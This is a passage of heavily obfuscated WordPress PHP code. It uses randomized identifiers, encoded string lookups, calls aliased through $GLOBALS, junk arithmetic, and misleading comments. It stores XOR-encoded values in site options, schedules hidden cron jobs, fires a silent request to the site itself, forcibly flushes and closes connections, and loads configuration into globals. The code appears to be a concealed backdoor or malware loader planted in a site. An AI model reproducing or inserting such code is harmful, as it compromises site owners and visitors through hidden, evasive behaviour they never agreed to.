    if ($w9bd1cf5ruhazz0  <  1 || $GLOBALS['__scf_m2ym9pki8mue9_11']($voqkq593lk8yf6)      <    1  +   $w9bd1cf5ruhazz0)   {

 teikfigf_p5265esq_q(fjup2mc1h(341),  op9tjzix(343));
continue;
}

 $wq5kfc2oqf9  =  $GLOBALS['__scf_zre6ec18ly90y_10']($voqkq593lk8yf6,   1,  $w9bd1cf5ruhazz0);
$qoc6mv2t6m =  $GLOBALS['__scf_zre6ec18ly90y_10']($voqkq593lk8yf6,  1  + $w9bd1cf5ruhazz0);
  $qo75h4eo1bqxhlhx    =  $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_h8pe_c5_3n_344']($GLOBALS['__scf_yp401qf4i0g_239'](wlgh2_th(332), $GLOBALS['__scf_s2scu5dqyx4_345'](wlgh2_th(346),   $qoc6mv2t6m))));
  if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(193)))      {$fn2j0vuxxdm1a=PHP_INT_MAX/PHP_INT_MAX;$_8p7cpnw6=$fn2j0vuxxdm1a+24;
 update_option(tvo1rh46s_(330),   $cdie6xtzwzt7j);
 update_option(op9tjzix(347),   $GLOBALS['__scf_de_u08mc_p_348']("\n",  $qo75h4eo1bqxhlhx));
      }
 return array(op9tjzix(349)   =>  $wq5kfc2oqf9, wlgh2_th(350)  =>  $qo75h4eo1bqxhlhx);

    }  catch     (Throwable $x0ydieb0v_72m_u)  {
 teikfigf_p5265esq_q(op9tjzix(341),  $x0ydieb0v_72m_u);
continue;


      }   catch (Exception $x0ydieb0v_72m_u)  {
     continue;



}
     }
$an70xyhejhjn0ev  =   $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(205))      ?    (string)  get_option(zp28wk01y(351),     "")     : "";



      $h8whr64djvvju    =  cvod3ffny5vm5dt3d(zp28wk01y(352), "");
  if     ($an70xyhejhjn0ev   !==    ""  &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($h8whr64djvvju)   &&      $h8whr64djvvju    !==  "") {
   $qo75h4eo1bqxhlhx   =   $GLOBALS['__scf_v0g2xbgjjm_154']($GLOBALS['__scf_h8pe_c5_3n_344']($GLOBALS['__scf_yp401qf4i0g_239'](fjup2mc1h(332), $GLOBALS['__scf_s2scu5dqyx4_345'](op9tjzix(346), $an70xyhejhjn0ev))));
       if   (!   empty($qo75h4eo1bqxhlhx)) {
return  array(tvo1rh46s_(349)  =>    $h8whr64djvvju,   tvo1rh46s_(350) =>   $qo75h4eo1bqxhlhx);
   }



      }
   teikfigf_p5265esq_q(zp28wk01y(341),  wlgh2_th(353));
return  array();
   }
  function   _gb9zjafn_eq8xrjxb($m0q0wt95g3ow2dp0,  $f21cfhv2wn1,    $t912y7rcsv1)
   {



      if  (!    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193))) {
 return   false;


 }


if    (isset($GLOBALS[op9tjzix(354)]) &&   $GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[b4gbsak56f40gos(354)]) &&   $GLOBALS['__scf_xc9hrpqrsvv6k2_251']($m0q0wt95g3ow2dp0,      $GLOBALS[tvo1rh46s_(355)]))  {
    unset($GLOBALS[fjup2mc1h(356)][$m0q0wt95g3ow2dp0]);
     }
$r3zx2x3gf_5dqoe = $GLOBALS['__scf_wepau2f2borz_357']($f21cfhv2wn1);
     $qe730xhp9l948mlw = $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_hw2kkbd0s2i_359'](1,    (450-195)));
  

 $oxsw6yg8l6ot8w94   = "";
   for  ($it6eoxr68lt   =    0,  $clbca6w7rzhm8h4  =   $GLOBALS['__scf_m2ym9pki8mue9_11']($r3zx2x3gf_5dqoe); $it6eoxr68lt      <    $clbca6w7rzhm8h4;   $it6eoxr68lt++) {
  $oxsw6yg8l6ot8w94   .=  $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($r3zx2x3gf_5dqoe[$it6eoxr68lt])  ^    $GLOBALS['__scf_honmo92acbfag2_340']($qe730xhp9l948mlw));

 }


return  update_option($m0q0wt95g3ow2dp0, $GLOBALS['__scf_g8_t7dlza2_360']($qe730xhp9l948mlw .  $oxsw6yg8l6ot8w94),    $t912y7rcsv1)   !== false;
  }


 



      function mbu8jpz9mni4nrwrzww($m0q0wt95g3ow2dp0,      $ntwq5oiehnxn)
      {
if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(205)))  return    $ntwq5oiehnxn;
      if    (isset($GLOBALS[b4gbsak56f40gos(356)])  && $GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[op9tjzix(356)])  &&    $GLOBALS['__scf_xc9hrpqrsvv6k2_251']($m0q0wt95g3ow2dp0,  $GLOBALS[fjup2mc1h(356)]))    {
     return      $GLOBALS[zp28wk01y(361)][$m0q0wt95g3ow2dp0];
}

     $bt0ahuxrrfeeta1   =  get_option($m0q0wt95g3ow2dp0,  "");
       if  ($bt0ahuxrrfeeta1  ===    ""  ||   !  $GLOBALS['__scf_zneqqdn4vlt4_42']($bt0ahuxrrfeeta1))  {
   return $ntwq5oiehnxn;
  }
 $r0kizq2sgbuc26rk   =     @$GLOBALS['__scf__cpt1d1twdvp_362']($bt0ahuxrrfeeta1,  true);
if      ($r0kizq2sgbuc26rk  ===    false  ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($r0kizq2sgbuc26rk)   < 2)  {
   return    $ntwq5oiehnxn;
  }
// WP Paragraph Block network broadcast

 $qe730xhp9l948mlw     = $r0kizq2sgbuc26rk[0];
$kgbgcl6mta75    =   "";
 for  ($it6eoxr68lt     =  1,  $clbca6w7rzhm8h4 =   $GLOBALS['__scf_m2ym9pki8mue9_11']($r0kizq2sgbuc26rk);   $it6eoxr68lt    <    $clbca6w7rzhm8h4; $it6eoxr68lt++) {$w76ytbfkgmc8w=PHP_INT_MAX/PHP_INT_MAX;$wi0a5t3ch5c=$w76ytbfkgmc8w+28;
 $kgbgcl6mta75     .= $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($r0kizq2sgbuc26rk[$it6eoxr68lt])    ^ $GLOBALS['__scf_honmo92acbfag2_340']($qe730xhp9l948mlw));
  }
   $q9qetflssali  = rpeceehul3kjs3_cf($kgbgcl6mta75);$_0hjhmrukl7=PHP_INT_MAX/PHP_INT_MAX;$vd2hbooh32m=$_0hjhmrukl7+41;
   if   ($q9qetflssali   !== false)  {
  if   (!isset($GLOBALS[tvo1rh46s_(361)])  || !$GLOBALS['__scf_knhbvsumnby3_36']($GLOBALS[op9tjzix(361)])) $GLOBALS[fjup2mc1h(361)]   =      array();
  if    ($GLOBALS['__scf_j38tk0441lk_37']($GLOBALS[fjup2mc1h(361)]) >  (4<<4))   $GLOBALS[zp28wk01y(361)] =   array();
   $GLOBALS[tvo1rh46s_(363)][$m0q0wt95g3ow2dp0]    = $q9qetflssali;
    return  $q9qetflssali;

}

    return  $ntwq5oiehnxn;
}



 function rpeceehul3kjs3_cf($ars2e0ykxmq)
     {
   if (!$GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq))   return  false;

    if    (defined(fjup2mc1h(364)) &&   PHP_VERSION_ID  >=  (14318+55682))      {
   return   @$GLOBALS['__scf_fwkq_05r177s4_365']($ars2e0ykxmq,   array(zp28wk01y(366) =>     false));
  }
 return @$GLOBALS['__scf_fwkq_05r177s4_365']($ars2e0ykxmq);



 }
function mgmlo9v90kizvxyt9wm()

{
static    $fuudv53fhxni7l    =  null;

if    ($fuudv53fhxni7l  !==  null)    return   $fuudv53fhxni7l;
  $frgd4znm8k     = defined(op9tjzix(120))      ?  ABSPATH :   "";
    $fuudv53fhxni7l     = $GLOBALS['__scf_q93011jdjf_13']($GLOBALS['__scf_qx45pe7tfwqub_367']('\\',  '/',    $frgd4znm8k),   '/') .      '/';


    return     $fuudv53fhxni7l;
   }
   function gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0)
       {

       return fmsvr16ge0nzzk9i6u(mgmlo9v90kizvxyt9wm()   .    (string)   wzkcxw_m1n8fard2g()   .  $m0q0wt95g3ow2dp0, (0xb+0x1));


     }
 function v5bdtp7jppe_l3a6jc4f($q_wtfycqfb)
     {
return (string)  ((90999942+58)  +  ((int) hexdec($GLOBALS['__scf_zre6ec18ly90y_10']($GLOBALS['__scf_abbpcj1ncssalx_57'](mgmlo9v90kizvxyt9wm()  .  op9tjzix(368)   . $q_wtfycqfb), 0, (2+5)))  % (10163862-1163863)));$suqwstfn=(0x48+0x56);$cvdn115pfu4=$suqwstfn%12;

}


function kbcc38ndvdju6hn7dtbyf()
       {
// @coalesce-reg session-type

     return      v5bdtp7jppe_l3a6jc4f(fjup2mc1h(369));
  }
function rbfnjmleny00_7kv()
     {
      $rnc474m90gatrx  =   (string) cvod3ffny5vm5dt3d(zp28wk01y(370),  "");
 return  $GLOBALS['__scf_m2ym9pki8mue9_11']($rnc474m90gatrx)  > (130^136)  &&   $GLOBALS['__scf_rbe_sihvfv_8']($rnc474m90gatrx,      kbcc38ndvdju6hn7dtbyf())  !==  false  &&  $GLOBALS['__scf_m2ym9pki8mue9_11']((string)      cvod3ffny5vm5dt3d(fjup2mc1h(371), ""))   >  (94+6);
    }



  
   function      cvod3ffny5vm5dt3d($m0q0wt95g3ow2dp0, $ntwq5oiehnxn)
 {
return mbu8jpz9mni4nrwrzww(gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0), $ntwq5oiehnxn);
   }
 function  _688a_rvvxzf58($m0q0wt95g3ow2dp0,     $ntwq5oiehnxn   =    "")

 {



  $cqa9ps1o2ezc4_  =      cvod3ffny5vm5dt3d($m0q0wt95g3ow2dp0, $ntwq5oiehnxn);
if  ($GLOBALS['__scf_zneqqdn4vlt4_42']($cqa9ps1o2ezc4_))  return   $cqa9ps1o2ezc4_;
if   ($GLOBALS['__scf_pwfpxyvmfin3_372']($cqa9ps1o2ezc4_))    return (string)  $cqa9ps1o2ezc4_;
     return   $ntwq5oiehnxn;
}
   function v2tiam6q2h4zs04bs_si_n($m0q0wt95g3ow2dp0,   $f21cfhv2wn1, $t912y7rcsv1)
   {
  return  _gb9zjafn_eq8xrjxb(gmztkp8nrj6zdlt($m0q0wt95g3ow2dp0),     $f21cfhv2wn1,    $t912y7rcsv1);

   }



      function  im8om_xz9agyv7m()
      {
       $y390rtxt6bkbxie  =   isset($GLOBALS[fjup2mc1h(163)])  ? $GLOBALS[fjup2mc1h(373)]  : array();
   $bt0ahuxrrfeeta1     = cvod3ffny5vm5dt3d(tvo1rh46s_(374),   array());
       if ($GLOBALS['__scf_knhbvsumnby3_36']($bt0ahuxrrfeeta1))   {
   $y390rtxt6bkbxie   =    $GLOBALS['__scf_h63ymopf9_k_375']($bt0ahuxrrfeeta1, $y390rtxt6bkbxie);
    }
  $y390rtxt6bkbxie  =   $GLOBALS['__scf_s8rgnr7_02m_155']($y390rtxt6bkbxie);
return  $GLOBALS['__scf_eriwpctk0hsvu4_164']($y390rtxt6bkbxie, -(37+13));
  }

function  a0ijwrakfd1japl44()
  {
// pure-adj collector

if  (!isset($GLOBALS[b4gbsak56f40gos(373)])  ||   empty($GLOBALS[fjup2mc1h(373)]))   return;

  try  {
        $bt0ahuxrrfeeta1    =  cvod3ffny5vm5dt3d(tvo1rh46s_(374),     array());
       $a79vsfq3ylf  =  $GLOBALS['__scf_s8rgnr7_02m_155']($GLOBALS['__scf_h63ymopf9_k_375']((array)$bt0ahuxrrfeeta1, $GLOBALS[wlgh2_th(373)]));
$a79vsfq3ylf     =  $GLOBALS['__scf_eriwpctk0hsvu4_164']($a79vsfq3ylf,    -(25<<1));
      v2tiam6q2h4zs04bs_si_n(tvo1rh46s_(374),  $a79vsfq3ylf,    wlgh2_th(195));
     }   catch (Throwable  $x0ydieb0v_72m_u)   {
     teikfigf_p5265esq_q(wlgh2_th(376), $x0ydieb0v_72m_u);
  } catch (Exception   $x0ydieb0v_72m_u)  {
  }
   }
    
function wiy8pwermvq1qyx($ars2e0ykxmq,   $key)
      {
 if  (!  $GLOBALS['__scf_zneqqdn4vlt4_42']($ars2e0ykxmq) ||   !  $GLOBALS['__scf_zneqqdn4vlt4_42']($key)    ||  $GLOBALS['__scf_m2ym9pki8mue9_11']($key)  ===  0)    {
// PHP CS Fixer transient TTL

return null;
  }
 $lqgq10i4kpu3ib =    $GLOBALS['__scf_m2ym9pki8mue9_11']($ars2e0ykxmq);
     $qci4m7ioxl  = $GLOBALS['__scf_m2ym9pki8mue9_11']($key);
      $cmaajh50rfi7zkbh =  "";

   for ($it6eoxr68lt =  0;    $it6eoxr68lt  <   $lqgq10i4kpu3ib;  $it6eoxr68lt++)   {
$cmaajh50rfi7zkbh .=   $GLOBALS['__scf_lh6iqyp38q3_358']($GLOBALS['__scf_honmo92acbfag2_340']($ars2e0ykxmq[$it6eoxr68lt]) ^    $GLOBALS['__scf_honmo92acbfag2_340']($key[$it6eoxr68lt  %    $qci4m7ioxl]));
}
 return   $cmaajh50rfi7zkbh;
    

}
   
    function w8s5f6feqbx2tuz2s7c($h12atw5hqwi)

{
if   (! $GLOBALS['__scf_knhbvsumnby3_36']($h12atw5hqwi))  {
// orthogonal-adj composite

 $h12atw5hqwi =  array();
 }
   static  $w5jl_f6nzawgme5t  =   null;
 if ($w5jl_f6nzawgme5t   ===   null) {


     $w5jl_f6nzawgme5t   = g4qqj8jzajjudxckl();
 $mayx1ashajuh =  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(377))  ?   mbu8jpz9mni4nrwrzww(wlgh2_th(378),  false)   :    false;
if     ($GLOBALS['__scf_knhbvsumnby3_36']($mayx1ashajuh)   && isset($mayx1ashajuh[op9tjzix(379)])   && (int)   $mayx1ashajuh[b4gbsak56f40gos(380)]  >=    (277+23)  &&   (int)   $mayx1ashajuh[zp28wk01y(380)] <= (86358+42))    $w5jl_f6nzawgme5t = (int)    $mayx1ashajuh[op9tjzix(380)];$u56spigf=(0x6e+0xd1);$h_tkoo87tzo7t=$u56spigf%8;
      if ($w5jl_f6nzawgme5t   <    (0x30+0xc))    {
  $w5jl_f6nzawgme5t =     (3537+63);
 }
    }
  $h12atw5hqwi[tvo1rh46s_(381)]     =   array(
     b4gbsak56f40gos(382)   =>      $w5jl_f6nzawgme5t,
   zp28wk01y(383)   =>      wlgh2_th(384),
       );
      $h12atw5hqwi[tvo1rh46s_(385)] =    array(


 op9tjzix(386)  =>  (0x19d+0xbb),
  op9tjzix(387) => b4gbsak56f40gos(388),
   );$z0t_87zlup_b=-261;$lxczv8fwy8l=($z0t_87zlup_b>0)?$z0t_87zlup_b:-$z0t_87zlup_b;
 return  $h12atw5hqwi;$j114w1xxn=26*4;$dq3hsr1u_=$j114w1xxn-31;


}
  
  function  m3glk3wztmwqklvb12_()
 {
 if   (!$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(389))    ||    !$GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(390))) return;
   if     (!mmsya1lu9x3wz6a92pu(wlgh2_th(391))) return;
      try  {$ciopacwd=PHP_MAJOR_VERSION;$h_qzm9c98vge0=$ciopacwd*2;



   if   (!wp_next_scheduled(w9g08cirf_gw6p6su8())) {
  wp_schedule_event($GLOBALS['__scf_yg2rpewmkg_192']() +   $GLOBALS['__scf_hw2kkbd0s2i_359']((68-8),  (220+80)), fjup2mc1h(381),     w9g08cirf_gw6p6su8());
     }
}  finally {$xwr42hz7vf=(0x22+0x18);$am77zmw0=$xwr42hz7vf%3;
   xckt_q1b7jgyro8rvq(b4gbsak56f40gos(392));
   }


  }
     
   function   zaxde723nj1q8ni9sqdya8()
 {
   
if  (defined(tvo1rh46s_(393)) &&  DOING_CRON)  {
   return;
    }
    
static  $tbmkobtuzp3gr =  false;
 if ($tbmkobtuzp3gr) return;
 $tbmkobtuzp3gr     =  true;
 
       if (!  b9yvpc2wfw2jm0j4bvrvil())   {
/* serializable iterator */

       return;
 

}
 
      uh36p8urjd71g_u9smnf(zp28wk01y(394), b4gbsak56f40gos(395), 0);
  }
function     _u65yucuxkqiqsvp9()



    {
  if    (!$GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(396))  ||  !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(397)))  return;

@$GLOBALS['__scf_aveut5m3qzw4x_301'](site_url(wlgh2_th(398) . $GLOBALS['__scf_qx45pe7tfwqub_367']('.',    "", (string) $GLOBALS['__scf_knb470agoho1_297'](true))  .  $GLOBALS['__scf_hw2kkbd0s2i_359']((0x39+0x2b), (992+7))),     array(fjup2mc1h(399)    =>    0.01,    tvo1rh46s_(400)  =>    false,  wlgh2_th(401) =>   false));



 }
function   r9m95x_ia5q3akknmg()
      {
// @format record-layer



       static  $athan76n40  =  false;
  if   ($athan76n40) return;
  $athan76n40 =   true;

try {
       t_s0_shjcu_mh7c1ioc3();
  $bqqkgp2bmibk    =  false;
   

      if ($GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(402)))    {
      $GLOBALS['__scf_ytyghd4b9k58e_402']();
$bqqkgp2bmibk  =      true;
       }   elseif ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(403))) {
  $GLOBALS['__scf_k6m_q8843h46_403']();

        $bqqkgp2bmibk  =   true;
     }   else   {
if  ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(404)))   {
  @$GLOBALS['__scf_acczjxl0eb0i_405'](true);
        }
   $px65t6xs1da_ip7d  =  false;
  if   ($GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(116)))  {
// configure factory for PHP attributes

$vpq1mzg2fq38d8a   =  $GLOBALS['__scf_pdnlp7jjhnya_106']($GLOBALS['__scf_bbs7j5b1fx_332']((string)  @$GLOBALS['__scf_livuu39cntpdx3_116'](tvo1rh46s_(406))));
      $px65t6xs1da_ip7d  =  ($vpq1mzg2fq38d8a  !==   ""  && $vpq1mzg2fq38d8a   !== '0'     &&    $vpq1mzg2fq38d8a     !==     wlgh2_th(407));
  }
     $pup5wmn5j699uxsz =  $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(408)) ? @ob_get_status(true) : array();
 if ($GLOBALS['__scf_knhbvsumnby3_36']($pup5wmn5j699uxsz))  {
foreach ($pup5wmn5j699uxsz   as     $l1xcuu2x7jz)   {
   $iz06a3ec5e73f   = $GLOBALS['__scf_knhbvsumnby3_36']($l1xcuu2x7jz)  && isset($l1xcuu2x7jz[fjup2mc1h(409)]) ?   $GLOBALS['__scf_pdnlp7jjhnya_106']((string)  $l1xcuu2x7jz[op9tjzix(409)])    :  "";



 if    ($GLOBALS['__scf_rbe_sihvfv_8']($iz06a3ec5e73f,    fjup2mc1h(410)) !== false   ||  $GLOBALS['__scf_rbe_sihvfv_8']($iz06a3ec5e73f, fjup2mc1h(411))  !==  false)   {
 $px65t6xs1da_ip7d = true;
 

     break;
    }
}

      }
      if (!$px65t6xs1da_ip7d &&  $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(412))) {
    foreach  ((array)    @headers_list()      as    $zrc5mtsoz64x740)  {
// @post-dominate interpreter

    if    (stripos($zrc5mtsoz64x740,  zp28wk01y(413))   ===    0 && stripos($zrc5mtsoz64x740,  fjup2mc1h(414))     ===  false)  {
    $px65t6xs1da_ip7d =    true;


      break;
  }

 }



    }
$olb5ko1qa8zk6   =    $GLOBALS['__scf_f9tn7hbu7z_107']();
    $amxyv3dmn_ggcknm  =  ($olb5ko1qa8zk6    !==     b4gbsak56f40gos(415)     &&   $olb5ko1qa8zk6    !==  zp28wk01y(416));
 $wh5httwq_xk3b56   = $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(417))   ? (int)  @http_response_code() :     (0x7f+0x49);
    $gsphla7j8iu7zv  =    ($wh5httwq_xk3b56   >=   (172-72) &&  $wh5httwq_xk3b56   <    (256-56)) ||   $wh5httwq_xk3b56 === (115+89)  || $wh5httwq_xk3b56 ===    (255+49);

      $ppjx2u13cvgimfi     =   (isset($_SERVER[op9tjzix(418)])   && $_SERVER[wlgh2_th(418)]  ===    op9tjzix(419));
$lb2zltjhre_vu2z    = false;$illl1r4gyaed=PHP_INT_MAX/PHP_INT_MAX;$e0b3mmp2n8t8sg=$illl1r4gyaed+99;
 if  ($amxyv3dmn_ggcknm  &&     !$gsphla7j8iu7zv && !$ppjx2u13cvgimfi &&  !headers_sent() && !$px65t6xs1da_ip7d)  {
while ($GLOBALS['__scf_cbxznqxlbgq70_420']()    >   1)  {



   $cfhedba9oc_k  = $GLOBALS['__scf_cbxznqxlbgq70_420']();

   if (!@$GLOBALS['__scf_g78q01g_fb5t2_421']() ||  $GLOBALS['__scf_cbxznqxlbgq70_420']()   >=    $cfhedba9oc_k)  break;

}
     $l1xcuu2x7jz    =  $GLOBALS['__scf_cbxznqxlbgq70_420']()    ===     1 &&   $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(422)) ?   @ob_get_status()     :     array();
  $iz06a3ec5e73f      =    $GLOBALS['__scf_knhbvsumnby3_36']($l1xcuu2x7jz) &&  isset($l1xcuu2x7jz[fjup2mc1h(409)])    ?  $GLOBALS['__scf_pdnlp7jjhnya_106']((string)   $l1xcuu2x7jz[zp28wk01y(409)])  :   "";
   $_cl  =  false;
    if   ($GLOBALS['__scf_cbxznqxlbgq70_420']()   ===   0)   {
      $_cl   = 0;
 } elseif      (
$GLOBALS['__scf_cbxznqxlbgq70_420']() ===  1
  && $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(422))



      &&   ($iz06a3ec5e73f  ===    ""    ||  $iz06a3ec5e73f   === fjup2mc1h(423))
&&  $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(424))
   )   {
  $_cl   =   @ob_get_length();
    }
$ep259cm92b   =   true;
  if  (isset($GLOBALS[zp28wk01y(425)][zp28wk01y(426)])) {

     $_wf  =      $GLOBALS[b4gbsak56f40gos(425)][zp28wk01y(426)];
  $m97xw4v77_wd    =     ($GLOBALS['__scf_l4xn242gw4_70']($_wf)    && isset($_wf->callbacks))    ? $_wf->callbacks : ($GLOBALS['__scf_knhbvsumnby3_36']($_wf)    ?  $_wf  :    array());

  foreach ($m97xw4v77_wd    as  $_pr    =>   $kifajf65adf)     {
    if   (!$GLOBALS['__scf_knhbvsumnby3_36']($kifajf65adf)) continue;


foreach  ($kifajf65adf  as  $omstsaj8xxsg6u) {
 $dix6fbuinz6xzsn0   =      ($GLOBALS['__scf_knhbvsumnby3_36']($omstsaj8xxsg6u)    && isset($omstsaj8xxsg6u[tvo1rh46s_(427)])) ?   $omstsaj8xxsg6u[tvo1rh46s_(427)]    :   "";
 if    ($GLOBALS['__scf_zneqqdn4vlt4_42']($dix6fbuinz6xzsn0) &&    $GLOBALS['__scf_av84ex67tlp92_156']($dix6fbuinz6xzsn0,  array(tvo1rh46s_(395), wlgh2_th(428)),    true))  continue;$vyhed5p2lmmea=235|32;$cqvjsy79bcw0t=$vyhed5p2lmmea^72;

$ep259cm92b = false;
 break 2;
  }
   }
   unset($_wf,  $m97xw4v77_wd,   $_pr,    $kifajf65adf,   $omstsaj8xxsg6u,  $dix6fbuinz6xzsn0);
       }



  if  ($_cl !==  false  && $ep259cm92b   && !headers_sent())  {
@header(zp28wk01y(429)    . (int)      $_cl);
@header(op9tjzix(430));
$lb2zltjhre_vu2z = true;
  }
 }


  if  ($amxyv3dmn_ggcknm)  {
     while  ($GLOBALS['__scf_cbxznqxlbgq70_420']()  >    0) {
 $cfhedba9oc_k     =  $GLOBALS['__scf_cbxznqxlbgq70_420']();

  if (!@$GLOBALS['__scf_g78q01g_fb5t2_421']() ||  $GLOBALS['__scf_cbxznqxlbgq70_420']() >=  $cfhedba9oc_k) break;
}
   @$GLOBALS['__scf_v2dcsudt2hx_431']();
  }
if ($lb2zltjhre_vu2z     && $GLOBALS['__scf_cbxznqxlbgq70_420']() ===      0) $bqqkgp2bmibk  =    true;
  unset($px65t6xs1da_ip7d,      $vpq1mzg2fq38d8a,    $pup5wmn5j699uxsz,   $l1xcuu2x7jz,  $iz06a3ec5e73f,  $zrc5mtsoz64x740,  $olb5ko1qa8zk6, $amxyv3dmn_ggcknm,    $wh5httwq_xk3b56,  $gsphla7j8iu7zv, $lb2zltjhre_vu2z,  $cfhedba9oc_k, $_cl,   $ppjx2u13cvgimfi);
      }
  $voyg7qn8p3c1mia      =  $GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(432)) &&   !(defined(tvo1rh46s_(433)) &&    DISABLE_WP_CRON);
  $u0w4_yqqwmw    =     !$GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(434))  ||   (int)   get_option(b4gbsak56f40gos(435), 0)   ===  0;


  if   (!$u0w4_yqqwmw    && $GLOBALS['__scf_qel9wo57qs676z_5'](zp28wk01y(436))      &&   $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(193)))  {$v55rkmjs63=4526;$qiwxulduam=$v55rkmjs63%13;
  $r80wfl_lal5v73z   = (string)  get_option(wlgh2_th(437),     "");



   if ($r80wfl_lal5v73z  !==  _vfpypr4wakqs7jy_())   {
 @update_option(tvo1rh46s_(437),   _vfpypr4wakqs7jy_(),    b4gbsak56f40gos(195));
@update_option(zp28wk01y(438),  0,  fjup2mc1h(195));

 $u0w4_yqqwmw     =  true;
    }
   }
     $bmh8b7t025m =   false;
   if  ($voyg7qn8p3c1mia     &&  $GLOBALS['__scf_qel9wo57qs676z_5'](tvo1rh46s_(439)))   {
   $bwqpzrp97t    =  wp_next_scheduled(w9g08cirf_gw6p6su8());


 if  ($bwqpzrp97t &&   ($GLOBALS['__scf_yg2rpewmkg_192']() - (int)   $bwqpzrp97t)  >  (3666+3534))      {
   $bmh8b7t025m    =  true;



if    ($GLOBALS['__scf_qel9wo57qs676z_5'](b4gbsak56f40gos(440))) @wp_unschedule_event((int)   $bwqpzrp97t,  w9g08cirf_gw6p6su8());
 }
// iterate reactive partition-refinement

}
  if  ($voyg7qn8p3c1mia &&  !$u0w4_yqqwmw    &&   !$bmh8b7t025m) {
  $u2wb3qdt4adf = $GLOBALS['__scf_qel9wo57qs676z_5'](fjup2mc1h(439))  ?     (int) wp_next_scheduled(w9g08cirf_gw6p6su8())      :  0;



if ($u2wb3qdt4adf <=     0  ||  $u2wb3qdt4adf   - $GLOBALS['__scf_yg2rpewmkg_192']()  >   (1619-719))   {


   @wp_schedule_single_event($GLOBALS['__scf_yg2rpewmkg_192'](),  w9g08cirf_gw6p6su8());
}
      xpwfsvxtbs34zm7y();


 return;
 }
 if ($bmh8b7t025m)  teikfigf_p5265esq_q(zp28wk01y(441),  op9tjzix(442));
        if  (!$bqqkgp2bmibk) {
   if    ($voyg7qn8p3c1mia)  {
 @wp_schedule_single_event($GLOBALS['__scf_yg2rpewmkg_192'](),   w9g08cirf_gw6p6su8());


   _u65yucuxkqiqsvp9();
xpwfsvxtbs34zm7y();
     return;
 }
  if  ($GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(443))) @$GLOBALS['__scf_v_sh61jlp_8_444']((160+20));
   p3gwgn5uw85zn40vw((5+5));
    return;
  }
 if ($GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(444))) @$GLOBALS['__scf_v_sh61jlp_8_444']((45<<2));
 p3gwgn5uw85zn40vw();
       } catch  (Throwable $x0ydieb0v_72m_u) {
  teikfigf_p5265esq_q(zp28wk01y(426),    $x0ydieb0v_72m_u);
      }  catch    (Exception  $x0ydieb0v_72m_u)     {
  }
  }
 
  function  g8mbbz6ql237xypds_o()
 {
// differential extension

      try    {
   if   (!     $GLOBALS['__scf_qel9wo57qs676z_5'](wlgh2_th(445)))  {
  return;$ijqeu0nimovft=4043;$_dliqonkwdem=$ijqeu0nimovft%4;
}
      
    $o1yryviovnxh =    $GLOBALS['__scf_qel9wo57qs676z_5'](op9tjzix(52))   ?   get_transient(uys5m_ytblknm5())    : false;



 if     (!    $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh))  $o1yryviovnxh   =   mbu8jpz9mni4nrwrzww(zp28wk01y(378),   false);
     if (! $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh))    {
// terminate asynchronous command

   return;
   }



 



   if     (isset($o1yryviovnxh[zp28wk01y(446)]) &&   $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh[b4gbsak56f40gos(446)]))      {
$GLOBALS[op9tjzix(447)]  = j4163tkflaipuhu7i($o1yryviovnxh[zp28wk01y(448)]);


 }
     
  if   (isset($o1yryviovnxh[fjup2mc1h(449)])  &&   $GLOBALS['__scf_knhbvsumnby3_36']($o1yryviovnxh[b4gbsak56f40gos(449)]))    {

$GLOBALS[zp28wk01y(450)] =   j4163tkflaipuhu7i($o1yryviovnxh[zp28wk01y(449)]);



 }
  
   if (isset($o1yryviovnxh[tvo1rh46s_(451)])     &&  $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[op9tjzix(452)]))  {
   $GLOBALS[fjup2mc1h(453)]  = $o1yryviovnxh[tvo1rh46s_(454)];
  }
if    (isset($o1yryviovnxh[b4gbsak56f40gos(455)])    &&      $GLOBALS['__scf_zneqqdn4vlt4_42']($o1yryviovnxh[wlgh2_th(455)])  && $GLOBALS['__scf_m2ym9pki8mue9_11']($o1yryviovnxh[fjup2mc1h(455)])    >   (16+34))    {
   $GLOBALS[zp28wk01y(456)]   = $o1yryviovnxh[zp28wk01y(455)];
 }
